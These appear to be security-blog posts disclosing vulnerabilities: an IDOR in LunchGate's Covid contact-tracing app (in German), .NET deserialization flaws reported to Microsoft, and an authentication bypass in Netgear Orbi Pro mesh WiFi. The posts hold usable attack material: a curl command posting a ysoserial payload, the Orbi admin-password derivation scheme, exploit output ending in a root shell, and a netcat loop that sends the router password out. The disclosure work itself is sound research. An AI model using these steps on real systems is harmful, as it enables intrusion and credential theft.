    Nach der Eingabe der Daten (Vorname, Nachname und Telefonnummer) und dem Akzeptieren der Covid-19-Datenschutzerklärung, die man natürlich vorher gelesen hat, können die Daten an den Server von LunchGate geschickt werden. Der Gast bekommt anschließend auf einer Bestätigungsseite die eingetragenen Daten vorsichtshalber nochmals angezeigt - wie in Abbildung 1 rechts ersichtlich, ergänzt mit einer genauen Uhrzeit des Check-ins.

    Herr Meier freut sich darüber, sich progressiv wie lange nicht mehr verhalten zu haben, und wartet auf sein Cordon Bleu.

    Dritter Akt: Die Vollkontakt-Datenspeicherung und die Hacker

    Nachdem unser Kollege Joël während eines Bar-Besuchs diesen Prozess abgeschlossen hatte, wollte er es dann doch ein bisschen genauer wissen. Glücklicherweise hatte er sich die URL der Bestätigungsseite notiert, um den ganzen Prozess nochmal am Schreibtisch genauer unter die Lupe zu nehmen; so wie es jeder andere interessierte Hacker des Planeten auch getan hätte.

    In der URL der Bestätigungsseite ist eine ID enthalten, die für den erstellten Datensatz generiert wurde. Jeder Besuch einer Person generiert eine solche ID und einen dazugehörigen Datensatz. Onkel Kevin hat also eine eindeutige ID für jeden seiner Restaurantbesuche. So auch Joël. Und alle anderen Gäste, die das System von LunchGate nutzen. LunchGate verwendet die ID, um die Daten zu einem Besuch auf der Bestätigungsseite anzuzeigen.

    Abbildung 2 - Datensatz-ID (rot markiert): 174396

    Wenn man nun eins und 174395 zusammenzählt, erkennt man als Hacker mit einschlägigen Erfahrungen im Bereich der Addition natürlicher Zahlen, dass dem Algorithmus zur Generierung eindeutiger IDs möglicherweise eine sehr einfache Funktion zugrunde liegt. Probieren wir es doch einfach mal aus, verkleinern die ID und setzen sie also von beispielsweise 174396 auf 174394. Wenig überraschend: es erscheint ein anderer Datensatz.

    Abbildung 3 - Datensatz ID 174394 vom 2.7.2020
    In der Web-Applikation ist es also möglich, alle erfassten Eingaben von allen Gästen abzurufen - und das als unberechtigter, anonymer Benutzer.

    Die Covid-19-Verordnung des Schweizerischen Bundesrates legt fest, dass man die erhobenen Daten zu keinen anderen Zwecken als der Bekämpfung der Covid-19-Epidemie verwenden darf. Tatsächlich sind aber sämtliche Daten ungeschützt im Internet zugänglich: Name, Telefonnummer, Besuchszeit und teilweise die kompletten Adresse. Damit dürften sie weiteren Zwecken unterlegen sein.

    Moment, es gibt doch noch eine andere Regel: die Daten müssen nach 14 Tagen gelöscht werden. Subtrahieren wir ein paar weitere Werte und schauen uns den Datensatz mit der ID 87657 an:

    Abbildung 4 - Datensatz ID 87657 Restaurantbesuch vom 12.6.2020

    Die obenstehende Abfrage ist vom 02.07.2020. Zu sehen sind aber die Daten eines Restaurantbesuchs vom 12. Juni 2020. Das bedeutet, dass die angezeigten Daten 21 Tagen vor dieser Abfrage erhoben und gespeichert worden sind.

    Die vorgeschriebene Datenhaltung von 14 Tagen wurde also weit überschritten.

    "Warum ist das ein Problem?" fragt Herr Meier vielleicht.

    Im Gegensatz zur Datensatz-ID der Firma LunchGate ist eine Telefonnummer eine weltweit einmalige, eindeutig einer Person zuzuordnende ID. Die Web-Applikation erlaubt es, eine Zuordnung von Namen zu einer Telefonnummer einzusehen. Lädt man sich die komplette Covid-19-Contact-Tracing-Datenbank herunter und korreliert sämtliche Datensätze, lassen sich über einen längeren Zeitraum möglicherweise Bewegungsprofile ganzer Gruppen erstellen.

    Insbesondere im Kontext der Covid-19-Epidemie lädt dies regelrecht zu Social-Engineering-Angriffen auf Gaststättenbesucher*innen ein: Kriminelle wissen genau, wann eine Person wo war, sie haben die Telefonnummer und die Namen der Personen - mehr braucht es nicht, um potentiellen Opfern per Anruf unkluge Handlungen plausibel erscheinen zu lassen. Denn genau so funktioniert Social Engineering. Enkeltrick reloaded.

    Natürlich erlaubt eine solche Rendezvous-Datenbank noch ganz andere Schlüsse, wenn man die Daten in ihrer Gesamtheit nur entsprechend sortiert und durchsuchbar gestaltet. Dass an den Daten Interesse besteht, hat die Deutsche Polizei in Hamburg schon gezeigt.

    Vierter Akt: Probleme sind dazu da, gelöst zu werden

    Die oben beschriebene Schwachstelle ist eine sog. IDOR-Schwachstelle (Insecure Direct Object Reference), eine (unsichere) direkte Referenz auf einen Datensatz - in diesem Fall über eine URL.

    Angreifer können durch unautorisierte Referenzen auf sensible Informationen zugreifen. Das ist in diesem konkreten Fall besonders trivial, da die einmaligen IDs, die als Referenz dienen, sehr kleine Zahlen sind, die zudem fortlaufend erzeugt werden. Somit sind sie leicht zu erraten und begünstigen Missbrauch enorm. Kennt ein Angreifer irgendeine valide ID, kann er weitere gültige IDs schnell erraten. Eine Schwachstelle wie diese kann auftreten, wenn eine schlechte/schwache Zugriffskontroll-Implementierung oder gar keine vorhanden ist.

    Was können die Betreiber dieser Covid-19-Tracing-Datenbank also konkret anstellen, um diese Probleme in den Griff zu bekommen?

    1. Wenn Daten nur geschrieben werden sollen, warum kann man sie dann lesen?
      1. Berechtigungskonzepte erstellen (vor der Entwicklung): Gaststätten müssen eine Liste eines bestimmten Zeitraums lesen dürfen, um diese auf Anfrage an die Gesundheits-Behörden weitergeben zu können. Eine Gaststätte darf nur die Datensätze der eigenen Besucher*innen lesen dürfen.
      2. Authentifizierungskonzepte erstellen (vor der Entwicklung): Organisationen, Benutzer und Rollen müssen sich mit angemessen sicheren Konzepten gegenüber der Anwendung legitimieren, bevor sie auf Datensätze zugreifen dürfen.
      3. Eine "Bestätigungsseite" benötigt unmittelbar nach der Registrierung keinen Datenbankzugriff über eine Web-API auf den eigenen Datensatz.
    2. Ausschließlich notwendige Daten erheben: Wozu wird ein Realname benötigt, wenn es eine eindeutige und einzigartige ID (Telefonnummer) gibt?
    3. Unique IDs, die als PII gelten, also Personen identifizieren, dürfen nicht erratbar sein. Sie sollten üblicherweise zufällig generiert werden und nicht vorhersagbar sein, wie beispielsweise UUIDs.

    Das Problem der fehlenden Löschung lässt sich noch viel einfacher lösen:

    1. Daten automatisch nach 14 Tagen löschen,
    2. Backups dieser Daten automatisch nach 14 Tagen löschen,
    3. keine Backups dieser Daten anfertigen.

    Alternativ können Gaststätten auch einfach (wieder) zum Papier greifen. Vorausgesetzt, jeder Tisch bekommt seinen eigenen Zettel, und keine zu ergänzende Liste. Diese Zettel werden am Ende eines Tages in ein grosses Couvert gesteckt. Auf das Couvert wird das Datum geschrieben, an dem es vernichtet werden soll, also in 14 Tagen. Anschließend wandert es in die Kiste mit allen anderen Couverts. Und noch bevor ein Mitarbeiter des Restaurants morgens das Kühlaggregat der Zapfanlage in Betrieb nimmt, wirft er alle Couverts mit dem aktuellen Datum in den Schredder.

    Ein systematisches Problem müssen die Firmen und Anbieter solcher Lösungen allerdings selber in den Griff bekommen: Behandelt eure Benutzer*innen nicht wie Beta-Tester. Veröffentlicht doch bitte eure Produkte erst dann, wenn alle notwendigen Funktionen, Datenschutz- und Sicherheitsrichtlinien implementiert sind. Danke.

    Fünfter Akt: Behauptungen sind dazu da, belegt zu werden

    Wir haben einen Screencast angefertigt, um den oben beschriebenen Flow zu dokumentieren und unsere Aussagen zu belegen:

    Um die Machbarkeit eines Datendiebstahls zu demonstrieren, hat modzero ein Pythonscript geschrieben, dass die Enumerierung von beliebigen Datensatz-IDs demonstriert. Dieses Script werden wir auf GitHub veröffentlichen sobald LunchGate die Sicherheitslücke geschlossen hat.

    Für diesen. Artikel haben wir die abgefragten Datensätze aus Datenschutzgründen auf selbst erstellte Fake-Datensätze beschränkt:

    Abbildung 5 - Enumeration

    Am Abend des 03. Juli 2020 erreichte uns eine E-Mail eines Managing Partner der LunchGate AG. In der E-Mail wurde uns mitgeteilt, dass die IDOR-Schwachstellen behoben seien. Zur 14-Tage Löschfrist hiess es, hier bestünden keine Probleme.

    Posted by Sven Faßbender, Joël Gunzenreiner, Thorsten Schröder | Permanent link | File under: security, hacking, opsec , exploit, rant


    MZ-20-03 - New security advisory regarding vulnerabilities in .Net

    Today, we publish a new advisory for some vulnerabilities, that have been found by our team-mate Nils Ole Timm (@firzen14).

    Nils spent some time with .Net deserialization attacks and research. In April 2020 we already published an article about his Deserialization Attacks in .Net Games.

    While the gaming industry thankfully fixed all of the reported issues, Microsoft elected to manage rather than fix the reported issues. For this advisory, two of them were not considered vulnerabilities by Microsoft as "by design". The third one was originally planned to be fixed, but a week before the disclosure deadline Microsoft informed us that they would only add a warning to their documentation.

    Proof of Concept code is provided for each vulnerability right here:

    The direct link to the advisory is https://www.modzero.com/advisories/MZ-20-03-Net-Deserialization.txt

    ---------------------------------------------------------------- v5 ---
    modzero Security Advisory:
    Multiple deserialization vulnerabilities in the .Net runtime [MZ-20-03]
    1. Timeline
    * 2020-02-14: This  advisory  has been  sent to the Microsoft  security
                  team (security@microsoft.com).
    * 2020-02-19: Microsoft  requests  that  the  three  vunerabilities are
                  resubmitted individually.
    * 2020-02-19: Vulnerabilities resubmitted individually.
    * 2020-02-29: Microsoft closes 4.2 as "By Design".
    * 2020-03-19: Microsoft accepts 4.1 as a security issue.
    * 2020-03-19: Microsoft closes 4.3 as "By Design".
    * 2020-04-07: Microsoft  informs  modzero of a planned patch release on
                  June 9th.
    * 2020-06-02: Microsoft informs modzero that the vulnerability  will be
                  fixed with documentation only.
    * 2020-06-08: modzero replies with concerns regarding the proposed fix.
    * 2020-06-15: Microsoft replies that they will go through with the fix.
    * 2020-06-16: modzero publishes this disclosure.
    2. Summary
    Vendor: Microsoft
    * 4.1 Deserialization vulnerability in
          IsolatedStorageFileEnumerator::MoveNext via crafted  identity.dat
          file leading to arbitrary code execution
          modzero: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H -> 8.2
    * 4.2 Deserialization vulnerability in
          4.2.1 When configured with TypeFilterLevel.Low
               Denial of Service
               modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H -> 7.5
          4.2.2 When configured with TypeFilterLevel.Full
               Remote code execution
               modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H -> 9.0
    * 4.3 Deserialization vulnerability in 
          System.Messaging.Message::get_Body() using a
          BinaryMessageFormatter   leading   to   remote   code   execution
          modzero: CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H -> 9.0
    3.0 Introduction
    modzero identified several critical vulnerabilities in the .Net runtime
    which  can lead to  denial of service  or remote code execution attacks 
    against services using standard built-in .NET features. A potential for
    local  privilege  escalation  or persistence  using the IsolatedStorage 
    vulnerability was also found.
    Any  software  using  the  vulnerable  .Net  components is  potentially
        * Enumeration of IsolatedStorage spaces
        * .Net Remoting with binary serialization
        * .Net MSMQ with a BinaryMessageFormatter
    modzero  identified  and  tested the  vulnerabilities to be present in:
    .NET Framework
    4.8 4.7.2 4.7.1 4.7 4.6.2 4.6.1 4.6 4.5.2 4.5.1 4.5
    Earlier  versions  have not been tested, but are  likely to at least be
    partially affected as well.
    4. Details
    4.1 Triggering Deserialization vulnerability in 
        IsolatedStorageFileEnumerator::MoveNext  via  crafted  identity.dat
        file leads to arbitrary code execution
    An attacker  with write access  to the  identity.dat file can  inject a
    deserialization payload, which will be  executed when the built-in .NET
    method   IsolatedStorageFileEnumerator::MoveNext    is   called.   When
    creating   an    IsolatedStorage   space    in   the    Machine   scope
    (IsolatedStorageScope.Machine)  its  identity.dat  file  has  read  and
    write permissions  for the  "Everyone" Windows-Group. An  attacker with
    access to any account can  create a Machine scope IsolatedStorage space
    and cause  the vulnerability  to trigger on  the next  enumeration. The
    enumeration itself  does not  have to  be controlled  or issued  by the
    attacker  and thus  the  execution  takes place  in  the context  where
    enumeration occurs.
    When    using    an    IsolatedStorageFileEnumerator    to    enumerate
    IsolatedStorage spaces, the  MoveNext method will read  the contents of
    each  space's  identity.dat  file  and  deserialize  them  without  any
    security features enabled. The identity.dat  files in the Machine scope
    have  read/write  permissions   for  the  Everyone  group   and  a  low
    privileged user  can craft an  identity.dat file to execute  a standard
    deserialization attack when another user enumerates storage spaces.
    This for example affects the storeadm.exe tool.
    The  following  code  snippets  demonstrate   how  the  data  from  the
    identity.dat  file is  passed directly  into a  BinaryFormatter without
    further sanitization or any security measures.
    IsolatedStorageFileEnumerator::MoveNext calls
    this.GetIDStream(twoPaths.Path1,  out  stream)  to  retrieve  the  file
    contents of  the associated  identity.dat file of  each IsolatedStorage
    space into a stream variable.
        public bool MoveNext()
          while (this.m_fileEnum.MoveNext())
            if (flag)
              if (!this.GetIDStream(twoPaths.Path1, out stream) || !this.GetIDStream(twoPaths.Path1 + "\\" + twoPaths.Path2, out stream2))
            else if (IsolatedStorageFile.NotAppFilesDir(twoPaths.Path2))
              if (!this.GetIDStream(twoPaths.Path1, out stream2))
              stream2.Position = 0L;
              if (!this.GetIDStream(twoPaths.Path1, out stream3))
              stream3.Position = 0L;
    The  previously   populated  stream  variable  holding   the  possibliy
    malicious identity.dat file's  content is passed to an  overload of the
    InitStore method as documented in the followind code section.
        if (isolatedStorageFile.InitStore(scope, stream, stream2, stream3, domainName, assemName, appName) && isolatedStorageFile.InitExistingStore(scope)) 
          this.m_Current = isolatedStorageFile;
          return true;
    The InitStore method then passes  the MemoryStream of the file contents
    into a BinaryFormatter without enabling any security features on it.
        internal bool InitStore(IsolatedStorageScope scope, Stream domain, Stream assem, Stream app, string domainName, string assemName, string appName)
          BinaryFormatter binaryFormatter = new BinaryFormatter();
            this.m_AppIdentity = binaryFormatter.Deserialize(app);
            this.m_AssemIdentity = binaryFormatter.Deserialize(assem);
              this.m_DomainIdentity = binaryFormatter.Deserialize(domain);
    This  allows   execution  of  arbitrary  code   by  utilizing  standard
    BinaryFormatter deserialization  gadgets; payloads  can for  example be
    generated using the ysoserial.net tool.  This can be used for privilege
    escalation, especially since enumeration  of isolated storage spaces is
    typically only performed during administrative tasks.
    When creating an IsolatedStorage space scoped  to a user with a roaming
    profile,   the  modified   identity.dat  file   may  be   automatically
    transferred  across  an Active  Directory  network.  In this  case  the
    vulnerability  may  spread across  the  network  if an  enumeration  of
    storage  spaces  is  regularly  performed. A  transferred  payload  can
    infect another computers  Machine scope which can in  turn infect other
    users and their roaming scope.
    4.2 Deserialization vulnerability in
        BinaryServerFormatterSink::ProcessMessage   leading  to  Denial  of
        Service (DoS)
    By sending  a crafted message  to a .Net  remoting channel a  denial of
    service or remote  code execution can be triggered if  the channel uses
    a  BinaryServerFormatterSink in  its SinkChain,  which it  does in  the
    default  configuation.  Wether or  not  the  DoS  or RCE  will  trigger
    depends  on what  the  BinaryServerFormatterSink's TypeFilterLevel  has
    been set to.
    The default  is Low, in  which case only the  Denial of Service  can be
    triggered. If  it has been set  to Full instead, remote  code execution
    can be performed.
    When  using Remoting  in .Net  the incoming  and outgoing  messages are
    processed by SinkChains, which are  essentially a linked list of sinks.
    These sinks  are passed the  current data, perform some  processing and
    pass the updated data on to  the next chain for further processing. One
    of  these  sinks  is   the  BinaryServerFormatterSink  which  processes
    incoming messages which have been serialized to a binary format.
    When an incoming  message is received, ProcessMessage is  called on the
    BinaryServerFormatterSink  instance, the  requestStream that  is passed
    to it contains the serialized message  that the sink is ment to decode.
    If  the TypeFilterLevel  property of  the BinaryFormatterSink  has been
    set to  Low it  will restrict  the security context  to only  grant the
    SerializationFormatter permission.
    If the  TypeFilterLevel is set to Full,  the  security context won't be
    Afterwards  it  will  call  CoreChannel.DeserializeBinaryRequestMessage
    with the requestStream it has been called with.
        if (this.TypeFilterLevel != TypeFilterLevel.Full)
          permissionSet = new PermissionSet(PermissionState.None);
          permissionSet.SetPermission(new SecurityPermission(SecurityPermissionFlag.SerializationFormatter));
          if (permissionSet != null)
          requestMsg = CoreChannel.DeserializeBinaryRequestMessage(text5, requestStream, this._strictBinding, this.TypeFilterLevel);
          if (permissionSet != null)
    CoreChannel.DeserializeBinaryRequestMessage    then    initializes    a
    BinaryFormatter   and   sets   its   FilterLevel   according   to   the
    BinaryServerFormatterSink's.  It then  calls  UnsafeDeserialize on  the
        internal static IMessage DeserializeBinaryRequestMessage(string objectUri, Stream inputStream, bool bStrictBinding, TypeFilterLevel securityLevel)
          BinaryFormatter binaryFormatter = CoreChannel.CreateBinaryFormatter(false, bStrictBinding);
          binaryFormatter.FilterLevel = securityLevel;
          CoreChannel.UriHeaderHandler @object = new CoreChannel.UriHeaderHandler(objectUri);
          return (IMessage)binaryFormatter.UnsafeDeserialize(inputStream, new HeaderHandler(@object.HeaderHandler));
    The UnsafeDeserialize call then gets  passed down to a Deserialize call
    which   instantiates    an   ObjectReader   with    the   corresponding
    TypeFilterLevel.  It then  calls ObjectReader::Deserialize  on the  new
    ObjectReader instance.
        internal object Deserialize(Stream serializationStream, HeaderHandler handler, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage)
          internalFE.FEsecurityLevel = this.m_securityLevel;
          ObjectReader objectReader = new ObjectReader(serializationStream, this.m_surrogates, this.m_context, internalFE, this.m_binder);
          objectReader.crossAppDomainArray = this.m_crossAppDomainArray;
          return objectReader.Deserialize(handler, new __BinaryParser(serializationStream, objectReader), fCheck, isCrossAppDomain, methodCallMessage);
    ObjectReader::Deserialize    then    performs   the    deserialization.
    Additional security checks are performed if IsRemoting is true.
        internal void CheckSecurity(ParseRecord pr)
          Type prdtType = pr.PRdtType;
          if (prdtType != null && this.IsRemoting)
            FormatterServices.CheckTypeSecurity(prdtType, this.formatterEnums.FEsecurityLevel);
    IsRemoting  is  true if either  bMethodCall or  bMethodReturn  is true.
        private bool IsRemoting
            return this.bMethodCall || this.bMethodReturn;
    These two values  (bMethodCall and bMethodReturn) are only  set to true
    by the SetMethodCall and SetMethodReturn methods respectively.
        internal void SetMethodCall(BinaryMethodCall binaryMethodCall)
          this.bMethodCall = true;
          this.binaryMethodCall = binaryMethodCall;
        internal void SetMethodReturn(BinaryMethodReturn binaryMethodReturn)
          this.bMethodReturn = true;
          this.binaryMethodReturn = binaryMethodReturn;
    Those         two        methods         are        only         called
    from__BinaryParser::ReadMethodObject,   which  is   only  called   from
        case BinaryHeaderEnum.MethodCall:
        case BinaryHeaderEnum.MethodReturn:
    Therefore additional security checks are  only performed if an IMessage
    is being deserialized.  An attacker can bypass  the additional security
    checks  by  submitting  a  crafted  stream of  data  that  contains  no
    IMessage object and triggers execution of deserialization gadgets.
    Using   the   standard   TypeConfuseDelegate    gadget,   a   call   to
    System.Diagnostics.Process::Start(string,string) can be performed.
    In the  case of TypeFilterLevel  being set to  Low (4.2.1) the  call to
    Process.Start  then causes  an  uncaught  SecurityException, since  the
    security   context    is   restricted.   The   exception    occurs   in
    System.Diagnostics.ShellExecuteHelper::ShellExecuteFunction     in    a
    separate                thread                spawned                by
    System.Diagnostics.ShellExecuteHelper::ShellExecuteOnSTAThread.     The
    uncaught exception  then causes termination  of the process  leading to
    Denial of Service.
    In the  case of TypeFilterLevel being  set to Full (4.2.2)  the call to
    Process.Start passes all security checks  and a new process is started.
    In this  case arbitrary code  can be executed  remotely as long  as the
    channel is accessible.
    Because there are no restrictions  imposed on the deserialization, when
    using  an HTTP  channel 4.2.2  can also  be exploited  by generating  a
    payload file  with the  ysoserial.net tool  and a  curl request  of the
        curl -X POST -H "Content-Type: application/octet-stream" --data-binary "@payload" http://serveraddress/Service
    4.3 Deserialization vulnerability in
        System.Messaging.Message::get_Body() using a BinaryMessageFormatter
    When  using  Microsoft  Message  Queueing (MSMQ)  with  .Net,  messages
    retrieved  from the  Queue are  processed into  a Message  object. This
    object  contains an  IMessageFormatter property  and in  the case  of a
    retrieved  messageit contains  a BodyStream  that holds  the serialized
    body of  the message.  This BodyStream is  not parsed  immediately, but
    will instead be  deserialized only when the Body's  getter is accessed.
    The getter then calls  Formatter.Read on its IMessageFormatter instance
    to create the actual Body object.
        public object Body
            if (this.filter.Body)
              if (this.cachedBodyObject == null)
                this.cachedBodyObject = this.Formatter.Read(this);
              return this.cachedBodyObject;
    If the  IMessageFormatter is a BinaryMessageFormatter,  its Read method
    checks    if   the    BodyType   is    compatible   and    then   calls
    BinaryFormatter::Deserialize  on  a  default  BinaryFormatter  instance
    with no additional security features enabled.
        public BinaryMessageFormatter()
          this.formatter = new BinaryFormatter();
        public object Read(Message message)
          int bodyType = message.BodyType;
          if (bodyType == 768)
            Stream bodyStream = message.BodyStream;
            return this.formatter.Deserialize(bodyStream);
    This allows  the use  of arbitrary deserialization  gadgets and  can be
    used to  execute arbitrary code  when somebody retrieves  messages from
    the message queue.
    5. Proof of Concept exploits
    PoC  exploits are  provided  as separate  git  repos containing  Visual
    Studio Solutions.
    The  IsolatedStorageVulnerability  solution demonstrates  vulnerability
    After executing the PoC, any vulnerable program enumerating the Machine
    scope will  execute a program  when deserializing the  payload. Running
    "storeadm /List"  in the  Visual Studio  Developer Console  for example
    will trigger the vulnerability.
    The RemotingVulnerability solution demonstrates vulnerabilities 4.2.
    It contains two projects:
        * RemotingService - a bare bones Remoting server
        * RemotingExploit - the actual exploit
    When the server is running  and configured with TypeFilterLevel.Low the
    exploit will crash  the server process. When the server  is running and
    configured  with TypeFilterLevel.Full  the  exploit  will trigger  code
    execution in the server process.
    The MSMQ solution demonstrates vulnerability 4.3.
    It contains two projects:
        * MSMQ Reader - a small program polling messages from an MSMQ
        * MSMQ Exploit - the actual exploit
    When the  reader is running  the exploit  will cause code  execution to
    occur as  soon as  the getter of  the Body property  of the  Message is
    All  projects use  the TypeConfuseDelegate  gadget with  SortedSet`1 to
    reach code execution from the deserialization vulnerability.
    Please find the PoC projects at GitHub:
    * https://github.com/modzero/MZ-20-03_PoC_IsolatedStorage
    * https://github.com/modzero/MZ-20-03_PoC_NetRemoting
    * https://github.com/modzero/MZ-20-03_PoC_MSMQ_BinaryMessageFormatter
    6. Workarounds
    For 4.2, restricting  access to  the remoting  channel will  reduce the
    potential  attack vectors.  When  using Tcp  or  Icp channels, enabling
    authentication can  mitigate some  risks as  well. If  possible setting
    TypeFilterLevel to  Low will  mitigate the  RCE to  a DoS  but business
    cases might require using TypeFilterLevel.Full
    For 4.3, if possible, restrict access to any queue unless necessary.
    7. Fix
    Currently, no fixes are available.
    8. Credits
     * Nils Ole Timm
    9. About modzero
    The  independent  Swiss-German  company modzero  assists  clients  with
    security analysis  in the  complex areas  of  computer  technology. The
    focus  lies  on   highly  detailed  technical   analysis  of  concepts,
    software   and hardware   components as  well as   the development   of
    individual   solutions.  Colleagues  at  modzero   work exclusively  in
    practical, highly  technical computer-security  areas and  can  draw on
    decades  of  experience  in  various  platforms,  system  concepts, and
    modzero  follows  coordinated  disclosure  practices  described   here:
    This  policy  should have  been  sent to  the  vendor along  with  this
    security advisory.
    10. Disclaimer
    The information in the advisory is  believed to be accurate at the time
    of  publishing based  on currently  available information.  Use of  the
    information  constitutes acceptance  for  use in  an  AS IS  condition.
    There are  no warranties with  regard to this information.  Neither the
    author  nor  the  publisher  accepts  any  liability  for  any  direct,
    indirect,  or consequential  loss or  damage  arising from  use of,  or
    reliance on, this information.

    Posted by Thorsten Schroeder | Permanent link | File under: security, software, github , hacking, exploit, re , advisory


    How Netgear meshed(*) up WiFi for Business

    (*) I'm really sorry for the pun line.

    One day in December, I decided to actually build something. Something more or less useful. So, I paused breaking stuff (I really did) to create something that could help enhance the security-level of WiFi networks. I failed.

    When I set out to build the thing I mentioned above, it also involved taking a closer look at our recently acquired Netgear Orbi Pro WiFi Mesh system.

    And when I say take a closer look I mean: I had to figure out how to use public APIs that are not supposed to be public. In this particular case, the public API is a SOAP interface, available on the local network (not the Internet).

    Public APIs that are not supposed to be public are defined by three attributes:

    1. they are public
    2. they are undocumented
    3. they are still public

    However, accessing interesting parts of the APIs requires authentication against the SOAP Web application running on each Netgear Orbi Pro Mesh device. When I tried to figure out how Netgear implemented Machine-to-Machine (M2M) authentication between Router/Access Point and Mesh-Satellites, I accidentally the whole network-confidentiality and -integrity.

    But first, let's have a short introduction to this Orbi Pro Mesh WiFi thing:

    The Netgear Orbi Pro WiFi Mesh network

    The Netgear Orbi Pro Mesh WiFi system can provide a large coverage of WiFi signal over a large area within buildings, halls, and outdoors. Up to four separated 2.4GHz and 5GHz networks can be set up for different purposes:

    1. [Wireless 1] Main network with administrative access
    2. [Wireless 2] Employee network with limited access to admin interfaces
    3. [Wireless 3] Separate IoT/employee network
    4. [Guest] Unencrypted guest network with "Guest Portal"
    The satellites are connected to the WiFi Router/Access-Point using a mesh network:

    Fig.1 - Source: https://www.netgear.at/landings/mesh-network/images/Orbi_DaisyChain.png

    This allows distribution of your WiFi network signal evenly across your property, building, hall and whatnot. This is fine. Really! Until you decide to spend less resources on security-architecture and cryptography.

    So what went wrong...?

    At some point, Netgear decided that provisioning of newly added Mesh-satellites does not need to be cryptographically secure. Convenience kills security; still in 2020 and even with one-time actions such as setting up a new mesh node.

    The problem: Merge a new Mesh satellite into an existing WiFi setup. Already existing nodes shall accept and trust the newbie right away.

    Netgear's solution: Ignore the benefits of presupposition of physical access to the devices that are part of the provisioning process, by pressing two buttons on router/AP and satellite. Instead, Netgear implemented a secret authentication mechanism, to authenticate mesh-nodes among themselves.

    However, this secret authentication mechanism only involves publicly obtainable information which is: The MAC-addresses of each communication-peer. This means that you are only allowed to call the administrative SOAP API if you know the MAC address of your target satellite as well as your own MAC address:

    If the MAC-address of your own computer within the WiFi network ends with A4:A5:A6 and the MAC address of the target satellite ends with B4:B5:B6, you can easily authenticate with username "orbi" and the ascii(MD5-Hash sum) of the string "NETGEAR_Orbi_A4_A5_A6_B4_B5_B6_password".


    It's kind of a chain reaction. The ability to "guess" authentication parameters like username/password to access Netgear Orbi WiFi Mesh nodes with admin privileges via SOAP API, is something that can be exploited to gather sensitive information (cleartext passwords, etc.)

    Using these "credentials", any (*) network participant is able to read and write configuration parameters for a particular Mesh-node.

    (*) attacker must be on wired network or Orbi WiFi 1. However, if WiFi 2 is allowed to access network nodes in LAN (e.g. printers, etc. - which is likely in business setups), the attacker could also be on WiFi 2.

    Reading and writing Netgear Orbi Pro Mesh parameters lead to Remote Code Execution (RCE) on the Mesh-satellites and subsequently to administrative access to the Router/Access Point and eventually the whole network.

    As the curious reader might have noticed, all information that is needed to deduce the "password" is available to any user in the local network.


    We have uploaded a video to YouTube for documentation:

    The video shows the whole setup process of an AP-Mode setup using Mesh-nodes, up until its exploitation (see minute 10:40) using our scripts available at https://github.com/modzero/MZ-20-02-NETGEAR-Orbi-Security.

     $ python3 orbiSatGetShell.py asdfasdf
    [0]  : dc:71:[REDACTED] (eth1)
    [1]    : 0a:00:[REDACTED] (eth2)
    [7]    : dc:71:[REDACTED] (wifi0)
    [+] Select Interface: 7
    [*] Query Orbi Satellite at via local interface dc:71:[REDACTED]
    [*] Device details for
    [-] Device Name:      sat-wkcdv
    [-] Serial Number:    5836[REDACTED]
    [-] Firmware Version: V2.5.0.108
    [*] Administrative WLAN
    [-]    ssid: skynet
    [-]    mode: WPA2-PSK
    [-]    psk:  i-1X[REDACTED]
    [*] Guest WLAN
    [-]    ssid: darknet
    [-]    mode: WPA2-PSK
    [-]    psk:  NewP[REDACTED]
    [*] Enable telnet <0v0>
    [e] Error getting session/timestamp from satellite: 401 (Unauthorized)!
    [-] new session/timestamp: 569478051
    [-] Success!
      R U N
      C M D
    root@SRS60:/# id
    uid=0(root) gid=0(root) groups=0(root)

    Using these exploits, you can gain root access on any Orbi Mesh satellite. Of course, it can be tedious to pwn every single satellite one by one. Instead, let's just get the central Orbi AP/Router root password, which is conveniently available on each satellite:

    1. Change admin password of Netgear Orbi Mesh satellite.
    2. Enable telnet access on satellite.
    3. Login as root via telnet.
    4. Get original root/admin password of the whole Netgear Orbi WiFi Mesh network:
      while [ 1 ]; do config show | grep http_passwd | nc  6666; sleep 5; done &

    Why? Netgear decided to sync the AP/Router config to satellites periodically. In clear-text via HTTP. This means: Waiting for the original admin password to be synced from AP/Router to satellites is a matter of minutes.


    There are quite a few bonus levels and easter eggs hidden in Netgear's WiFi Mesh implementation. We found some, and wrote them down in more detail here. I'm confident that this is only the tip of an iceberg. The current fix implemented by Netgear on April 25th actually prevents me from pwning the system within minutes, but it does not prevent an attacker from pwning it within days or weeks. By merely hiding a new or additional authentication method, Netgear did not fix the root of all evil: the basic stuff.

    As of May, 18th 2020, Netgear did not implement well-established cryptographic methods to ensure the confidentiality, authenticity and integrity of their business/pro wireless network configuration.


    If you participate in Netgear's bug bounty program, you are prohibited from publicly disclosing vulnerabilities. This is wrong and against the interest of Netgear's own customers.

    I encourage you not to participate in their bug bounty program until this is fixed.

    As you can see in the timeline of our advisory, Netgear does not care to give you any feedback about your disclosure. Instead, like in our case, they silently pushed updates without notifying us. Also, the vulnerabilities were not even mentioned in their firmware release notes for SRR60 or SRS60.

    Needless to say, we were never mentioned, let alone thanked, either.

    Posted by Thorsten Schröder | Permanent link


    Deserialization Attacks in .Net Games

    Today many games are developed using .Net or a modified .Net Runtime like the Unity engine. This of course means that deserialization vulnerabilities in .Net can also occur in these games.

    Serialization functionality seems to mainly be used to store save games. Less frequent uses include user generated content or network transfer of information.

    We've discovered several such vulnerabilities in games using our own tooling and will elaborate on a few of them as well as common patterns and pitfalls as well as mitigations here.

    It goes without saying that all of the vulnerabilities discussed below have already been fixed.

    Tooling and Approach

    To find potential deserialization vulnerabilities we used our own NetGadget tool, which we plan to release in the near future.

    To interactively analyze vulnerabilities and debug potential exploits we used dnSpy which is an amazing .Net decompiler, analyzer and debugger.

    As a test for the NetGadget tool we scanned a complete Steam Library for usage of BinaryFormatter, as a potential sink for a deserialization attack, as seen in Figure 1

    Figure 1 - Scanning for BinaryFormatter recursively through a Steam Library

    Our tool scans any .dll or .exe file it encounters for a method call matching the pattern given by the -m parameter and stores the information about them in one file per dll or exe.

    Since we are looking for vulnerabilities in games, the Assembly-CSharp.dll files, which are where Unity stores a game's custom code, are of particular interest and are highlighted below.

